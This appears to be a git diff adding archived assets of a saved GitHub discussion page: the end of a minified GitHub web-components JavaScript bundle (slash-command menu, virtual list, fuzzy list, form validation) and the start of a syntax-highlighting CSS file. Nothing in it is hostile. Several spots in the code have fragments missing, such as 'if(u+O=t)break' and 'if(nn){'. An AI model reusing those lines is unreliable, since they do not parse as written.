Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) 